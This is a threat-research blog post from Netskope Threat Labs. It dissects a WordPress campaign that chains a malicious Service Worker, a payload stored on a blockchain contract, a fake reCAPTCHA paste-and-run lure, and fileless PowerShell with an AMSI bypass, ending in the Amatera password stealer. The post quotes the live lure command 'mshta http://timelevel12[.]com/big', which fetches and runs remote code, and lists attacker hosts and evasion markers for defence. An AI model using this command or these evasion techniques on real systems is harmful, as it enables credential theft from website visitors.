Netskope Threat Labs has been tracking a WordPress mass-compromise campaign affecting hundreds of sites. On each one, a rogue must-use plugin registers a Service Worker in the visitor’s browser. That worker strips the site’s Content-Security-Policy header and injects a script that reads its payload from a smart contract on Base. In turn, the smart contract serves a fake reCAPTCHA telling the visitor to paste a command into the Windows Run dialog. The campaign employs Service Worker persistence, EtherHiding on-chain payload delivery, fake reCAPTCHA, and ClickFix, also adding a disguised polyglot file, mshta abuse, a fileless PowerShell stage, an image-hidden loader, and finally the Amatera password stealer. That is a lot of technique for one password stealer.
We have not seen a Service Worker resolve its payload from a smart contract before, and it was the combination that made us pull the chain apart. What we found through peeling all nine layers is the same design design choice to have no durable artifacts to act on, no file to hash, no server to seize, no download to inspect.
The chain, one layer at a time
The whole attack is a ladder. Each rung is built to defeat one specific defense. The diagram below is the map for the rest of this post.

The diagram shows the Service Worker lane; a second inline lane shares the same contract and beacon.The layers, in order:
A compromised WordPress site with a rogue must-use plugin.
malicious Service Worker that survives site cleanup and strips CSP.
A Base smart contract that holds the payload (EtherHiding).
A fake reCAPTCHA prompt that makes the victim run the command by hand.
An MP3/HTA polyglot that a trusted Windows binary executes.
A scheduled task and PowerShell stage that run fileless with AMSI blinded.
The Emmenhtal loader plus a steganographic image on a legitimate CDN.
A reflective loader that never writes the payload to disk.
The Amatera password stealer, calling home over DNS-over-HTTPS.
Layers 1 and 2: Hiding in a trusted site, then in the browser
The first layer is the compromised WordPress site. The operator plants a rogue must-use plugin (site-helper-<hex>), which WordPress loads automatically on every request. It loads the cyberattacker’s code on a site the visitor already trusts so the malicious activity runs inside a legitimate brand not to raise suspicions, a pattern consistent with the ErrTraffic Malware-as-a-Service ecosystem, profiled in depth by Sekoia (we do not attribute this campaign to a specific actor).

nochain-sw.js: The fake reCAPTCHA panel with Google’s “unusual traffic” wording, and the injected script’s COPY_WIN constant holding the mshta http://timelevel12[.]com/big clipboard payload. Windows visitors get that command; macOS visitors get the harmless Oops... decoy in COPY_MAC.The second layer is the Service Worker (nochain-sw.js). The plugin’s front-probe.js registers it throughnavigator.serviceWorker.register, and from that point it lives in the browser rather than on the site.

It intercepts every page load, deletes the content-security-policy and content-length headers from HTML responses, and injects a <script data-c="0x58460d0b..."> snippet after <head> (idempotent via a marker so it does not double-inject).

MARK and SNIPPET constants, the injected <script> carries the contract address in a data-c attribute, plus the install and activate handlers that call skipWaiting() and clients.claim() so the worker takes control of the page immediately.
The handler is also selective about who it targets: it skips injection entirely when the visitor is a logged-in WordPress user (the wordpress_logged_in_ cookie), is on /wp-admin or /wp-login.php, or carries the operator’s own nc_skip=1 test cookie. The fake reCAPTCHA lure and injected script are therefore never shown to the site administrator, only to logged-out visitors, so the one person most able to notice and clean the compromise is deliberately shielded from ever seeing it, which prolongs the infection’s dwell time.

/wp-admin and /wp-login.php and for any request carrying the wordpress_logged_in_ or nc_skip=1 cookie, then rebuilds and injects the snippet only for everyone else.This is particularly clever as it defeats two defenses at once:
- Because it lives in the browser, it survives server-side cleanup of the site until it is explicitly unregistered on the browser;
- And because it strips Content-Security-Policy (CSP), the injected script is allowed to run.
Service Worker abuse for persistence is an established technique (Akamai documented the API abuse). Furthermore, PortSwigger has shown that a hijacked worker can defeat Content-Security-Policy; this campaign’s specific method, a fetch handler that deletes the CSP response header outright, is a less-documented variant.
The Service Worker also carries an operator nc-kill path that unregisters the worker and deletes its caches, a clean self-destruct.
Layer 3: The payload lives on a blockchain
The injected snippet loads ethers.js, connects to Base (Layer 2 blockchain network built on Ethereum) through several RPC endpoints, and reads a smart contract at 0x58460d0b3d4d6b03761c89120393c0c676676496. The contract is a read-only payload and script registry (view functions scriptCount, getActiveScripts, hasDemoPage, getDemoPage, getScript); its ABI-encoded data holds the fake-reCAPTCHA HTML. This is EtherHiding. Netskope Threat Labs has written about as a class in blockchain dead-drop resolvers.

The active payload lives on-chain, so the compromised site never has to hold it. There is no server to seize, the operator can rewrite the payload at will, and the read-only contract calls look like ordinary blockchain traffic. It defeats both takedown and payload hashing.
The contract is a durable layer: while we have watched the downstream host timelevel12[.]com stop resolving under a takedown, this technique allowed the operator to point at a fresh stage-2 host by writing one new value on-chain.
Layer 4: The victim runs the command
getDemoPage() returns a fake Google reCAPTCHA overlay. When the visitor selects the checkbox, the page copies mshta http://timelevel12[.]com/big to the clipboard and instructs them to press Win+R, paste, and hit Enter (macOS visitors get a harmless decoy). This is ClickFix, and its use as an initial-access method has grown sharply, per RH-ISAC’s landscape reporting. The victim pastes and runs the command themselves, so there is no download or attachment for a scanner to inspect.

Layers 5 and 6: A disguised file and a fileless task
mshta fetches a file from timelevel12[.]com/big. That file is a polyglot: A valid MP3 with an HTA embedded. The trusted Windows binary mshta parses and runs the embedded HTA. A single file that is simultaneously a valid MP3 and a valid HTA defeats file-type heuristics that decide what to inspect based on what a file appears to be.

The HTA’s VBScript hex-decodes a base64 command and creates a hidden scheduled task (serviceerg, via the Schedule.Service COM object with a one-second trigger) that launches PowerShell through a wildcard path (C:\W*\S*4\W*\v*\p*ell.exe -EncodedCommand). The inner PowerShell bypasses Constrained Language Mode, patches amsiContext to 0x41414141 to blind the Antimalware Scan Interface (using RC4-deobfuscated strings), profiles the host, and pipes the next stage in via cmd.exe standard input. The next stage runs entirely in memory and with AMSI patched out and nothing written to disk, in-memory script scanning has nothing to read, and the wildcard path hides the LOLBin it is really calling.
Layers 7 and 8: An image on a trusted CDN, and a payload that never lands on disk
The fileless PowerShell pulls stage-3, the Emmenhtal loader, a multi-stage PowerShell loader (identified with signature Win.Downloader.Emmenhtal), from gpuh.gravityzone[.]army, a Cloudflare-fronted host impersonating Bitdefender GravityZone on a .army domain – which can be easily registered and not considered trustworthy based on appearance.
The URL https://gpuh.gravityzone[.]army/019c7f42-5ab8-701d-ae93-824fc6157b30 lives in the stage-2 PowerShell.

Emmenhtal recovers its payload from a steganographic JPEG hosted on a legitimate image CDN, i.ibb[.]co/3ytBLkY6/init-block.jpg.

The real payload hides inside this image, on a host organizations find difficult to block (a legitimate CDN) without breaking real traffic, and the payload has no standalone hash to flag because it lives inside a picture. The right place to break the chain is the earlier network steps that stop it from ever reaching this stage.

From there, Emmenhtal reflectively loads the payload as an in-memory PE with no file on disk, so on-disk antivirus has nothing to scan.
Layer 9: Amatera, calling home over DNS-over-HTTPS
Once we unpacked the final payload, multiple AV engines confirmed it is Amatera, which Proofpoint identifies as a rebrand of ACR Stealer (AcridRain), a native Win32 PE32 x86 password stealer, disguised as WPA.exe.

It beacons to gw.proxyvector[.]cc over TLS and resolves that host over DNS-over-HTTPS to dns.google and cloudflare-dns.com. It steals credentials and system data and exfiltrates them, with its C2 lookups hidden inside encrypted DNS to prevent being observed. It also installs a root certificate on the host.
One campaign, two delivery lanes
The Service Worker is the new lane. The campaign also runs a second, established lane with no Service Worker: The site-helper-<hex> plugin injects an inline configuration snippet that a runtime loader (front-probe.js / runtime-sample.js) reads to reach the same contract and beacon. The two lanes share the same Base contract, the same ultraspeed[.]pro/collect beacon, the same on-chain scripts, and identical runtime logic, which is what ties them together as one campaign.

They differ in how they load ethers (the Service Worker lane pulls it from a CDN, the inline lane bundles a different version) and in how they read the contract. The inline lane is the classic ErrTraffic method; the Service Worker lane is the addition.
Conclusions
The techniques covered are mostly not new on their own; nevertheless, they leave us impressed by the way the threat actor packed a high number of modern approaches into one campaign, while the chain leaves unusually little behind. By the time the stealer runs, the only two things that persist anywhere are a sticky browser registration the site owner is deliberately prevented from seeing, and a contract entry the operator can rewrite at will.
This campaign illustrates how loaders push their payload layers onto infrastructure and execution modes that file hashing and legacy methods find difficult to reach. Watching the contract is how you learn the operator has built the next one.
Defenders should take these three actions:
- Block the beacon and stage-2 host at the network layer.
- Explicitly purge Service Workers during remediation, rather than just removing files, because the worker survives server-side cleanup until it is unregistered and its caches are deleted.
- Watch this Base contract for payload rotation, since the operator can swap the downstream host on-chain without touching any compromised site, and inspect blockchain traffic itself, as covered in our prior post on blockchain dead-drop resolvers.
Netskope One
Netskope Threat Protection detected this campaign at multiple layers:
- Threat Protection detects it inline, classified as
Trojan.Skimmer. - The encrypted beacon at
ultraspeed[.]pro/collectis categorized as a malicious site and blocked, as is the stage-2 hosttimelevel12[.]com(including/bigand/bigmshta). - The campaign’s
mshta.exeexecution againsttimelevel12[.]com, parented byexplorer.exein the paste-and-run pattern, is also blocked.
Netskope IPS threat-hunting rules additionally detect the on-chain contract read itself, the EtherHiding step, producing a detection signal defenders can hunt on for the blockchain dead-drop lookup that the rest of the chain depends on.
Indicators of compromise
The full IOC list is published in the Netskope Threat Labs IOC repository. The table below lists threat actor infrastructure and artifacts only. It does not include compromised (victim) websites.
| Indicator | Type | Notes |
|---|---|---|
0x58460d0b3d4d6b03761c89120393c0c676676496 | EVM contract (Base 8453) | Mutable payload/script registry and C2 |
ultraspeed[.]pro | Domain | Encrypted telemetry beacon host |
https://ultraspeed[.]pro/collect | URL | ECDH P-256 + AES-GCM encrypted telemetry endpoint |
timelevel12[.]com | Domain | Stage-2 MP3/HTA polyglot host |
http://timelevel12[.]com/big | URL | Stage-2 payload fetched via mshta paste-and-run |
gpuh.gravityzone[.]army | Domain | Stage-3 Emmenhtal delivery host (impersonates Bitdefender GravityZone) |
https://gpuh.gravityzone[.]army/019c7f42-5ab8-701d-ae93-824fc6157b30 | URL | Stage-3 Emmenhtal download URL |
https://i.ibb[.]co/3ytBLkY6/init-block.jpg | URL | Steganographic payload image on a legitimate CDN |
gw.proxyvector[.]cc | Domain | Amatera C2 (Cloudflare; DoH via dns.google and cloudflare-dns.com) |
BMFPUeqbtnF0aEHnQvzrZsHcXkA62m/66DiZioRIf5ssIrkTPMCRuUy4EnKemHA47V35+qRj6ZEytpXiDwU6PUI= | ECDH P-256 pubkey | Server public key for beacon encryption |
mshta http://timelevel12[.]com/big | Clipboard payload | ClickFix paste-and-run command |
data-c="0x58460d0b3d4d6b03761c89120393c0c676676496" | Injection marker | Idempotency marker / contract carrier in injected snippet |
8dd49a4f0e68e9c9373c4ce52656bf302eba28f0f4d2f5e9ce165fb47ffd745d | SHA256 | nochain-sw.js Service Worker loader (MD5 c729d236e5e4886753e41388c979d50c) |
a8c5429c15654de48072327e196b199910e7bc373b9713727df0d90f667092b5 | SHA256 | Stage-2 MP3/HTA polyglot |
ae3eb045702c97247e353a2a0ce7394e6116055e58a4356c8931fe7143363aff | SHA256 | Stage-3 Emmenhtal loader |
2ca3951d34d7232642caf02c9683a0880e947a3251031aea931977ce761a4600 | SHA256 | Steganographic JPEG |
7f05d1b7a679b47e6c19ccb319a1713d1e2c3440e2bc6878dc51a2cb4899333a | SHA256 | x86 shellcode containing encrypted Amatera PE |
166ba96c5661235ceeb2cec233dd9464ca02d2a4c1db57de0a6b69da97a00337 | SHA256 | Amatera password stealer (Win32 PE32, disguised as WPA.exe; imphash 6cb7c652105d9b2b2ff7b5309e0e37cf) |
nochain-sw.js | Filename | Service Worker loader (also seen as nochain-sw.js.js, sw.js, payload.js) |
site-helper-<hex>, front-probe.js, runtime-sample.js, nc-dropin.php | Filenames | WordPress-side dropper layer (inline variant) |
wpPerfSample49, wpCacheProbe52, wpHealthSamplec7, wpSiteDiag44 | Config variables | Inline-variant injected config markers |
serviceerg | Scheduled task | Stage-2 persistence (Schedule.Service COM) |
C:\W*\S*4\W*\v*\p*ell.exe | Technique marker | Wildcard LOLBin path for powershell.exe |
amsiContext 0x41414141 (RC4 key BWJFEesMEqRvjQbm) | Technique marker | AMSI/CLM bypass in stage-2 PowerShell |
%TEMP%\AFIAMUVD9AUYAU6S.exe | Drop path | Dropped by Amatera |

Leggi il blog